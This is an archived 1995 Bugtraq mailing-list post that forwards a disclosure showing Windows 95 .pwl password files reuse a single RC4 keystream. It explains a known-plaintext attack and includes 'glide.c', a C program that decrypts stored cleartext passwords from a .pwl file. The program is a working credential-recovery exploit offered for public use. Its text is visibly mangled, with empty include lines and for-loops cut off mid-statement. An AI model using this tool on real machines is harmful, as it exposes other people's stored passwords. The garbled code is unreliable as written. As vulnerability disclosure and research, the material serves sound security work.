Cracked: WINDOWS.PWL Michael S. Fischer (msf@NSI.EDU) Tue, 5 Dec 1995 12:57:34 -0800 * Messages sorted by: [ date ][ thread ][ subject ][ author ] * Next message: Rich Graves: "Re: Cracked: WINDOWS.PWL [most services accessed by any version" * Previous message: *Hobbit*: "IMPORTANT: deslogin fixkit weakness" * Next in thread: Rich Graves: "Re: Cracked: WINDOWS.PWL [most services accessed by any version" I don't know if this is suitable for inclusion on Bugtraq, but it's quite scary if the implications are as described... ------- |\ Michael S. Fischer System Administrator _O_ | Internet: mfischer@nsi.edu The Neurosciences Institute | () Phone: 619.626.2000 Pager: 619.645.5693 San Diego, CA | >---------- Forwarded message ---------- >Date: Mon, 4 Dec 1995 19:06:12 +0100 >From: Tatu Ylonen>To: ssh@clinet.fi >Subject: FWD from Frank Andrew Stevenson: Cracked: WINDOWS.PWL >I am sorry to send noise to the list; this deals with Windows95 but is >quite relevant to many Unix administrators as well. This is not >related to ssh. The ssh list is not intended for this kind of stuff, >so please don't do what I am doing now. >Basically, you should be aware that if you ever mount disks from Unix >machines to Windows95 machines, the passwords of the unix machine (or >your other file servers) will be stored on the Windows machine's disk >essentially in the plain, and any 10-year computer-literate kid with a >little knowledge will be able to retrieve them in seconds if he gets >access to client machine. >The message below explains the details. Essentially it means that >the whole encryption scheme used by Microsoft in Windows95 is a Bad >Joke. Not only does it use too short keys (breakable by brute force >in 8 hours on a normal workstation), but additionally it screws up the >implementation, meaning that your keys can be trivially decrypted >in a fraction of a second without ever even brute-forcing the key. >The program to do this is below. >I find this kind of "security" shocking. I think this should go to >the mass media. At least make people at your sites aware of this >fiasco. > Tatu >------- start of forwarded message (RFC 934 encapsulation) ------- >From: Frank Andrew Stevenson >To: cypherpunks@toad.com >Subject: Cracked: WINDOWS.PWL >Date: Mon, 4 Dec 1995 17:51:36 +0100 (MET) >A few days ago Peter Gutmann posted a description on how >Windows 95 produces RC4 keys of 32 bits size to protect >the .pwl files. I verified the information and wrote a >program to decrypt .pwl files with a known password, I then >discovered that the .pwl files where well suited for a known >plaintext attack as the 20 first bytes are completely predictable. >The 20 first bytes of any .pwl files contains the username, which >is the same as the filename, in capitals, padded with 0x00. From then >I wrote a program to bruteforce the .pwl file and optimized it >so it would run in less than 24 hours on an SGI. I run a test >of the bruter software and recovered an unknown rc4 key in 8 hours, >but the decrypted file was still largely uninteligeble, I then proceeded >to decrypt the file at all possible starting points, and discovered >valuable information (cleartext passwords) offset in the file. >This has enormous implications: RC4 is a stream cipher, it >generates a long pseudo random stream that it uses to XOR the >data byte by byte. This isn't neccecaraly weak encryption if you >don't use the same stream twice: however WIN95 does, every resource is >XORed with the same pseudo random stream. What's more the 20 >first bytes are easy to guess. This is easy to exploit: >XOR the 20 bytes starting at position 0x208 with the user name >in uppercase, and slide this string through the rest of the file >(xoring it with whatever is there) this reveals the 20 >first bytes of the different resources. >>From there I went on to study the structure of the .pwl file it is >something like this (decrypted): >USERNAME.........wpwpwpwpwpwpwpwpwpwp >rs??????? >rs >rs >rs??????????? >rs??????? >where wp is i word pointer to the different resources (from start >of pwl file) The 2 first bytes of the resource (rs) is its length in bytes >(of course XOR with RC4 output) It is the fairly easy to find all the >resource pointers by jumping from start of resource to next resource, >had it not been for the fact that the size sometimes is incorrect >(courtesy of M$) >What follows is a short c program that tries to remedy this and >reconstruct the pointertable thus generating at least 54 bytes of the RC4 >pseudorandom stream, and then proceedes to decrypt as much as possible from >the different resources. >What does this show? Although RC4 is a fairly strong cipher, it has the >same limitations as any XOR streamcipher, and implementing it without >sufficient knowledge can have dire consequences. I strongly suggest that >the programmers at Microsoft do their homework before trying anything like >this again! >DISCLAIMER: >This is a quick hack, I don't make any claims about usefulness for >any purpose, nor do I take responsibility for use nor consequences of >use of the software. FUNCOM of Norway is not responsible for any of this, >(I speak for myself, and let others speak for themselves) >This source is hereby placed in the public domain, please >improve if you can. >- --- glide.c --- >#include >#include >unsigned char Data[100001]; >unsigned char keystream[1001]; >int Rpoint[300]; >main (int argc,char *argv[]) { > FILE *fd; > int i,j,k; > int size; > char ch; > char *name; > int cracked; > int sizemask; > int maxr; > int rsz; > int pos; > int Rall[300]; /* resource allocation table */ > if (argc<2) { > printf("usage: glide filename (username)"); > exit(1); > } > /* read PWL file */ > fd=fopen(argv[1],"rb"); > if(fd==NULL) { > printf("can't open file %s",argv[2]); > exit(1); > } > size=0; > while(!feof(fd)) { > Data[size++]=fgetc(fd); > } > size--; > fclose(fd); > /* find username */ > name=argv[1]; > if(argc>2) name=argv[2]; > printf("Username: %s\n",name); > /* copy encrypted text into keystream */ > cracked=size-0x0208; > if(cracked<0) cracked=0; > if(cracked>1000) cracked=1000; > memcpy(keystream,Data+0x208,cracked ); > /* generate 20 bytes of keystream */ > for(i=0;i<20;i++) { > ch=toupper(name[i]); > if(ch==0) break; > if(ch=='.') break; > keystream[i]^=ch; > }; > cracked=20; > /* find allocated resources */ > sizemask=keystream[0]+(keystream[1]<<8); > printf("Sizemask: %04X\n",sizemask); > for(i=0;i<256;i++) Rall[i]=0; > maxr=0; > for(i=0x108;i<0x208;i++) { > if(Data[i]!=0xff) { > Rall[Data[i]]++; > if (Data[i]>maxr) maxr=Data[i]; > } > } > maxr=(((maxr/16)+1)*16); /* resource pointer table size >appears to be divisible by 16 */ > /* search after resources */ > Rpoint[0]=0x0208+2*maxr+20+2; /* first resource */ > for(i=0;i /* find size of current resource */ > pos=Rpoint[i]; > rsz=Data[pos]+(Data[pos+1]<<8); > rsz^=sizemask; > printf("Analyzing block with size: >%04x\t(%d:%d)\n",rsz,i,Rall[i]); > if( (Rall[i]==0) && (rsz!=0) ) { > printf("unused resource has nonzero size !!!\n"); > exit(0); > } > pos+=rsz; > /* Resources have a tendency to have the wrong size for >some reason */ > /* check for correct size */ > if(i while(Data[pos+3]!=keystream[1]) { > printf(":(%02x)",Data[pos+3]); > pos+=2; /* very rude may fail */ > } > } > pos+=2; /* include pointer in size */ > Rpoint[i+1]=pos; > } > Rpoint[maxr]=size; > /* insert Table data into keystream */ > for(i=0;i <= maxr;i++) { > keystream[20+2*i]^=Rpoint[i] & 0x00ff; > keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff; > } > cracked+=maxr*2+2; > printf("%d bytes of keystream recovered\n",cracked); > /* decrypt resources */ > for(i=0;i < maxr;i++) { > rsz=Rpoint[i+1]-Rpoint[i]; > if (rsz>cracked) rsz=cracked; > printf("Resource[%d] (%d)\n",i,rsz); > for(j=0;j printf("\n"); > } > exit(0); >} >- --- end --- >#include >E3D2BCADBEF8C82F A5891D2B6730EA1B PGPencrypted mail preferred, finger for key >------- end ------- --- end forwarded text ----- End Included Message ----- * Next message: Rich Graves: "Re: Cracked: WINDOWS.PWL [most services accessed by any version" * Previous message: *Hobbit*: "IMPORTANT: deslogin fixkit weakness" * Next in thread: Rich Graves: "Re: Cracked: WINDOWS.PWL [most services accessed by any version"